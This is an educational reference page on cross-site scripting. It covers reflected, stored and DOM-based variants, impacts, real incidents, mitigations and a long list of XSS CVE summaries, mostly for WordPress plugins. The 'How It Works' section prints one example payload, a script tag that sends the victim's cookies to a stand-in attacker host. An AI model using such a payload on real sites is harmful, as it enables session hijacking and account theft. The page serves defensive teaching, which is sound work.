Cross-Site Scripting
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
How It Works
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.
The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.
A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.
Impact
- Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
- Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
- Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
- Keylogging: Monitor and exfiltrate everything users type on the compromised page
- Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
- Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests
Real-World Examples
A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.
eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.
British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.
Mitigation
- Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
- Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
- HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
- Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
- DOM-based XSS prevention: Use safe APIs like
textContentinstead ofinnerHTML; avoid passing user data to dangerous sinks likeeval()
Recent CVEs (38880)
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Spencer Haws Link Whisper Free link-whisper allows Reflected XSS.This issue affects Link Whisper Free: from n/a through <= 0.8.8. [CVSS 6.1 MEDIUM]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ThemeGoods Grand Restaurant grandrestaurant allows Reflected XSS.This issue affects Grand Restaurant: from n/a through < 7.0.9. [CVSS 6.1 MEDIUM]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WofficeIO Woffice woffice allows Reflected XSS.This issue affects Woffice: from n/a through <= 5.4.30. [CVSS 6.1 MEDIUM]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Astoundify Jobify jobify allows Reflected XSS.This issue affects Jobify: from n/a through <= 4.3.0. [CVSS 6.1 MEDIUM]
LambertGroup Famous - Responsive Image And Video Grid Gallery WordPress Plugin famous_grid_image_and_video_gallery is affected by cross-site scripting (xss) (CVSS 6.1).
LambertGroup CountDown With Image or Video Background countdown-with-background is affected by cross-site scripting (xss) (CVSS 6.1).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in loopus WP Virtual Assistant VirtualAssistant allows Stored XSS.This issue affects WP Virtual Assistant: from n/a through <= 3.0. [CVSS 5.4 MEDIUM]
The Gutenverse Form plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG file upload in all versions up to, and including, 2.3.2. [CVSS 6.4 MEDIUM]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in e-plugins Real Estate Pro real-estate-pro allows Reflected XSS.This issue affects Real Estate Pro: from n/a through <= 2.1.4. [CVSS 6.1 MEDIUM]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in e-plugins ListingHub listinghub allows Reflected XSS.This issue affects ListingHub: from n/a through 1.2.6. [CVSS 6.1 MEDIUM]
The Jeg Elementor Kit plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 3.0.1 due to insufficient input sanitization in the countdown widget's redirect functionality. [CVSS 6.4 MEDIUM]
V-SOL GPON/EPON OLT Platform v2.03 contains multiple reflected cross-site scripting vulnerabilities due to improper input sanitization in various script parameters. [CVSS 6.1 MEDIUM]
Yahei-PHP Prober 0.4.7 contains a remote HTML injection vulnerability that allows attackers to execute arbitrary HTML code through the 'speed' GET parameter. Attackers can inject malicious HTML code in the 'speed' parameter of prober.php to trigger cross-site scripting in user browser sessions. [CVSS 6.1 MEDIUM]
Facesentry Access Control System Firmware versions up to 5.7.0 is affected by cross-site scripting (xss) (CVSS 6.1).
SOCA Access Control System 180612 contains a cross-site scripting vulnerability in the 'senddata' POST parameter of logged_page.php that allows attackers to inject malicious scripts. [CVSS 6.1 MEDIUM]
The Report Builder component of the application stores user input directly in a web page and displays it to other users, which raised concerns about a possible Cross-Site Scripting (XSS) attack. Proper management of this functionality helps ensure a secure and seamless user experience. [CVSS 5.4 MEDIUM]
Tarkov Data Manager has reflected XSS in the toast notification system. Attackers can craft URLs that execute arbitrary JavaScript in the victim's browser, stealing session tokens. PoC available, fixed in January 2025.
Cross-site scripting (XSS) in MediaWiki's ProofreadPage extension (versions 1.39, 1.43, 1.44, 1.45) allows attackers to inject malicious scripts through improper input sanitization during web page generation. Public exploit code exists for this vulnerability, which requires user interaction to trigger. A patch is available to remediate the issue.
PowerShell Universal versions before 4.5.6 and 5.6.13 contain a stored cross-site scripting vulnerability that allows unauthenticated attackers to inject malicious scripts through the network interface, affecting confidentiality and integrity of user sessions. An attacker can exploit this with user interaction to steal sensitive information or perform actions on behalf of affected users. No patch is currently available for this vulnerability.
A stored Cross-Site Scripting (XSS) vulnerability exists in Perch CMS version 3.2. An authenticated attacker with administrative privileges can inject malicious JavaScript code into the “Help button url” setting within the admin panel. [CVSS 6.1 MEDIUM]
Stored cross-site scripting (XSS, CWE-79) in the survey content and administration functionality in Data Illusion Zumbrunn NGSurvey Enterprise Edition 3.6.4 on all supported platforms ( on Windows and Linux servers ) allows authenticated remote users with survey creation or edit privileges to execute arbitrary JavaScript in other users’ browsers, steal session information and perform unauthorized actions on their behalf via crafted survey content that is rendered without proper output encoding. [CVSS 5.4 MEDIUM]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Themesgrove WidgetKit Pro allows Reflected XSS.This issue affects WidgetKit Pro: from n/a through 1.13.1. [CVSS 7.1 HIGH]
House Rental And Property Listing Project versions up to 1.0 is affected by cross-site scripting (xss) (CVSS 2.4).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Frenify Arlo arlo allows Reflected XSS.This issue affects Arlo: from n/a through 6.0.3. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Digital zoom studio DZS Video Gallery allows Reflected XSS.This issue affects DZS Video Gallery: from n/a through 12.25. [CVSS 7.1 HIGH]
The Responsive Pricing Table plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'table_currency' parameter in all versions up to, and including, 5.1.12 due to insufficient input sanitization and output escaping. [CVSS 6.4 MEDIUM]
The Page Keys plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘page_key’ parameter in all versions up to, and including, 1.3.3 due to insufficient input sanitization and output escaping. [CVSS 4.4 MEDIUM]
Customer Reviews for WooCommerce (WordPress plugin) is affected by cross-site scripting (xss) (CVSS 6.4).
The Simple User Meta Editor plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the user meta value field in all versions up to, and including, 1.0.0 due to insufficient input sanitization and output escaping. [CVSS 4.4 MEDIUM]
The twinklesmtp - Email Service Provider For WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via plugin's sender settings in all versions up to, and including, 1.03 due to insufficient input sanitization and output escaping. [CVSS 4.4 MEDIUM]
HBLPAY Payment Gateway for WooCommerce (WordPress plugin) is affected by cross-site scripting (xss) (CVSS 6.1).
The Drag and Drop Multiple File Upload - Contact Form 7 plugin for WordPress is vulnerable to limited upload of files with a dangerous type in all versions up to, and including, 1.3.9.2. This is due to the plugin not blocking .phar and .svg files. This makes it possible for unauthenticated attackers to upload arbitrary .phar or .svg files containing malicious PHP or JavaScript code. Malicious PHP code can be used to achieve remote code execution on the server via direct file access, if the se...
The WP Photo Album Plus plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the ‘shortcode’ parameter in all versions up to, and including, 9.1.05.008 due to insufficient input sanitization and output escaping. [CVSS 7.1 HIGH]
The My Album Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via image titles in all versions up to, and including, 1.0.4. This is due to insufficient input sanitization and output escaping on the 'attachment->title' attribute. [CVSS 6.4 MEDIUM]
The Key Figures plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the kf_field_figure_default_color_render function in all versions up to, and including, 1.1 due to insufficient input sanitization and output escaping. [CVSS 4.4 MEDIUM]
The QR Code for WooCommerce order emails, PDF invoices, packing slips plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's shortcode in all versions up to, and including, 1.9.42 due to insufficient input sanitization and output escaping on user supplied attributes. [CVSS 6.4 MEDIUM]
The My Album Gallery plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'style_css' shortcode attribute in all versions up to, and including, 1.0.4 due to insufficient input sanitization and output escaping. [CVSS 6.4 MEDIUM]
The Easy GitHub Gist Shortcodes plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' parameter of the gist shortcode in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping. [CVSS 6.4 MEDIUM]
The Niche Hero | Beautifully-designed blocks in seconds plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'spacing' parameter of the nh_row shortcode in all versions up to, and including, 1.0.5 due to insufficient input sanitization and output escaping. [CVSS 6.4 MEDIUM]
The Mstoic Shortcodes plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'start' parameter of the ms_youtube_embeds shortcode in all versions up to, and including, 2.0 due to insufficient input sanitization and output escaping. [CVSS 6.4 MEDIUM]
The WP Widget Changer plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` variable in all versions up to, and including, 1.2.5 due to insufficient input sanitization and output escaping. [CVSS 6.1 MEDIUM]
The Post Like Dislike plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` variable in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping. [CVSS 6.1 MEDIUM]
The Stumble! for WordPress plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` variable in all versions up to, and including, 1.1.1 due to insufficient input sanitization and output escaping. [CVSS 6.1 MEDIUM]
The Testimonial Master plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the `$_SERVER['PHP_SELF']` variable in all versions up to, and including, 0.2.1 due to insufficient input sanitization and output escaping. [CVSS 6.1 MEDIUM]
The AD Sliding FAQ plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'sliding_faq' shortcode in all versions up to, and including, 2.4 due to insufficient input sanitization and output escaping on user supplied attributes. [CVSS 6.4 MEDIUM]
The EDD Download Info plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'edd_download_info_link' shortcode in all versions up to, and including, 1.1 due to insufficient input sanitization and output escaping on user supplied attributes. [CVSS 6.4 MEDIUM]
The Starred Review plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the PHP_SELF variable in all versions up to, and including, 1.4.2 due to insufficient input sanitization and output escaping. [CVSS 6.1 MEDIUM]
The 1180px Shortcodes plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'class' shortcode attribute in all versions up to, and including, 1.1.1 due to insufficient input sanitization and output escaping. [CVSS 6.4 MEDIUM]
The Viitor Button Shortcodes plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'link' shortcode attribute in all versions up to, and including, 3.0.0 due to insufficient input sanitization and output escaping. [CVSS 6.4 MEDIUM]
The Snillrik Restaurant plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'menu_style' shortcode attribute in all versions up to, and including, 2.2.1 due to insufficient input sanitization and output escaping. [CVSS 6.4 MEDIUM]
The WP Js List Pages Shortcodes plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'class' shortcode attribute in all versions up to, and including, 1.21 due to insufficient input sanitization and output escaping. [CVSS 6.4 MEDIUM]
The AH Shortcodes plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'column' shortcode attribute in all versions up to, and including, 1.0.2 due to insufficient input sanitization and output escaping. [CVSS 6.4 MEDIUM]
The Multi-column Tag Map plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 17.0.39 due to insufficient input sanitization and output escaping. [CVSS 4.4 MEDIUM]
The Wish To Go plugin for WordPress is vulnerable to Stored Cross-Site Scripting via shortcode attributes in all versions up to, and including, 0.5.2 due to insufficient input sanitization and output escaping on user supplied attributes. [CVSS 6.4 MEDIUM]
The Contact Us Simple Form plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping on user supplied attributes. [CVSS 4.4 MEDIUM]
Email Customizer for WooCommerce (WordPress plugin) is affected by cross-site scripting (xss) (CVSS 4.4).
The AI BotKit - AI Chatbot & Live Support for WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' parameter in the `ai_botkit_widget` shortcode in all versions up to, and including, 1.1.7 due to insufficient input sanitization and output escaping. [CVSS 6.4 MEDIUM]
The Cool YT Player plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'videoid' parameter in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping. [CVSS 6.4 MEDIUM]
The STM Gallery 1.9 plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'composicion' parameter in all versions up to, and including, 0.9 due to insufficient input sanitization and output escaping. [CVSS 6.4 MEDIUM]
The PhotoFade plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'time' parameter in all versions up to, and including, 0.2.1 due to insufficient input sanitization and output escaping. [CVSS 6.4 MEDIUM]
The Smart App Banners plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'size' and 'verticalalign' parameters of the 'app-store-download' shortcode in all versions up to, and including, 1.2 due to insufficient input sanitization and output escaping on user supplied attributes. [CVSS 6.4 MEDIUM]
The WP Recipe Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'Skill Level' input field in all versions up to, and including, 1.0.0 due to insufficient input sanitization and output escaping on user-supplied attributes. [CVSS 6.4 MEDIUM]
The Stylish Order Form Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'product_name' parameter in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping. [CVSS 6.4 MEDIUM]
The Recras WordPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'recrasname' shortcode attribute in all versions up to, and including, 6.4.1. This is due to insufficient input sanitization and output escaping. [CVSS 6.4 MEDIUM]
The Responsive Pricing Table plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'plan_icons' parameter in all versions up to, and including, 5.1.12 due to insufficient input sanitization and output escaping. [CVSS 6.4 MEDIUM]
Premmerce WooCommerce Customers Manager (WordPress plugin) is affected by cross-site scripting (xss) (CVSS 6.1).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Dasinfomedia WPCHURCH allows Reflected XSS.This issue affects WPCHURCH: from n/a through 2.7.0. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in AA-Team Woocommerce Sales Funnel Builder, AA-Team Amazon Affiliates Addon for WPBakery Page Builder (formerly Visual Composer) allows Reflected XSS.This issue affects Woocommerce Sales Funnel Builder: from n/a through 1.1; Amazon Affiliates Addon for WPBakery Page Builder (formerly Visual Composer): from n/a through 1.2. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in POSIMYTH UiChemy uichemy allows Stored XSS.This issue affects UiChemy: from n/a through <= 4.4.2. [CVSS 6.5 MEDIUM]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in CodexThemes TheGem Theme Elements (for WPBakery) thegem-elements allows DOM-Based XSS.This issue affects TheGem Theme Elements (for WPBakery): from n/a through <= 5.11.0. [CVSS 6.5 MEDIUM]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in CodexThemes TheGem Theme Elements (for Elementor) thegem-elements-elementor allows Stored XSS.This issue affects TheGem Theme Elements (for Elementor): from n/a through <= 5.11.0. [CVSS 6.5 MEDIUM]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Themepoints Accordion accordions-wp allows Stored XSS.This issue affects Accordion: from n/a through <= 3.0.3. [CVSS 6.5 MEDIUM]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Themepoints Team Showcase team-showcase allows Stored XSS.This issue affects Team Showcase: from n/a through <= 2.9. [CVSS 5.4 MEDIUM]
WPFactory Wishlist for WooCommerce wish-list-for-woocommerce is affected by cross-site scripting (xss) (CVSS 6.5).
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in e-plugins JobBank allows Reflected XSS.This issue affects JobBank: from n/a through 1.2.2. [CVSS 7.1 HIGH]
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in GT3 themes Photo Gallery allows Reflected XSS.This issue affects Photo Gallery: from n/a through 2.7.7.26. [CVSS 7.1 HIGH]
Lack of output escaping leads to a XSS vector in the pagebreak plugin. [CVSS 6.1 MEDIUM]
Lack of input filtering leads to an XSS vector in the HTML filter code related to data URLs in img tags. [CVSS 6.1 MEDIUM]
Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in WPShop.Ru AdsPlace'r - Ad Manager, Inserter, AdSense Ads allows DOM-Based XSS.This issue affects AdsPlace'r - Ad Manager, Inserter, AdSense Ads: from n/a through 1.1.5. [CVSS 6.5 MEDIUM]
Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in Shazdeh Header Image Slider header-image-slider allows DOM-Based XSS.This issue affects Header Image Slider: from n/a through 0.3. [CVSS 7.1 HIGH]
Sony BRAVIA Digital Signage 1.7.8 contains a remote file inclusion vulnerability that allows attackers to inject arbitrary client-side scripts through the content material URL parameter. [CVSS 6.1 MEDIUM]
The MediaPress plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's mpp-uploader shortcode in all versions up to, and including, 1.6.1 due to insufficient input sanitization and output escaping on user supplied attributes. [CVSS 6.4 MEDIUM]
Table Field Add-on for ACF and SCF (WordPress plugin) is affected by cross-site scripting (xss) (CVSS 6.4).
The Phlox theme for WordPress is vulnerable to Stored Cross-Site Scripting via the `data-caption` HTML attribute in all versions up to, and including, 2.17.7 due to insufficient input sanitization and output escaping. [CVSS 6.4 MEDIUM]
The URL Image Importer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via SVG File uploads in all versions up to, and including, 1.0.7 due to insufficient sanitization of SVG files. [CVSS 6.4 MEDIUM]
The ForumWP - Forum & Discussion Board plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the User's Display Name in all versions up to, and including, 2.1.6 due to insufficient input sanitization and output escaping. [CVSS 6.4 MEDIUM]
vega-functions provides function implementations for the Vega expression language. Prior to version 6.1.1, for sites that allow users to supply untrusted user input, malicious use of an internal function (not part of the public API) could be used to run unintentional javascript (XSS). [CVSS 7.2 HIGH]
Vega is a visualization grammar, a declarative format for creating, saving, and sharing interactive visualization designs. Prior to versions 6.1.2 and 5.6.3, applications meeting two conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" expressionInterpreter is used. [CVSS 8.1 HIGH]
PLANKA 2.0.0 lacks X-Frame-Options and CSP frame-ancestors headers, allowing the application to be embedded within malicious iframes. While this does not lead to unintended modification of projects or tasks, it exposes users to Phishing attacks. [CVSS 4.3 MEDIUM]
Coolify is an open-source and self-hostable tool for managing servers, applications, and databases. Coolify versions prior to and including v4.0.0-beta.420.6 are vulnerable to a stored cross-site scripting (XSS) attack in the project creation workflow. [CVSS 8.0 HIGH]
Quick Facts
- Typical Severity
- MEDIUM
- Category
- web
- Total CVEs
- 38880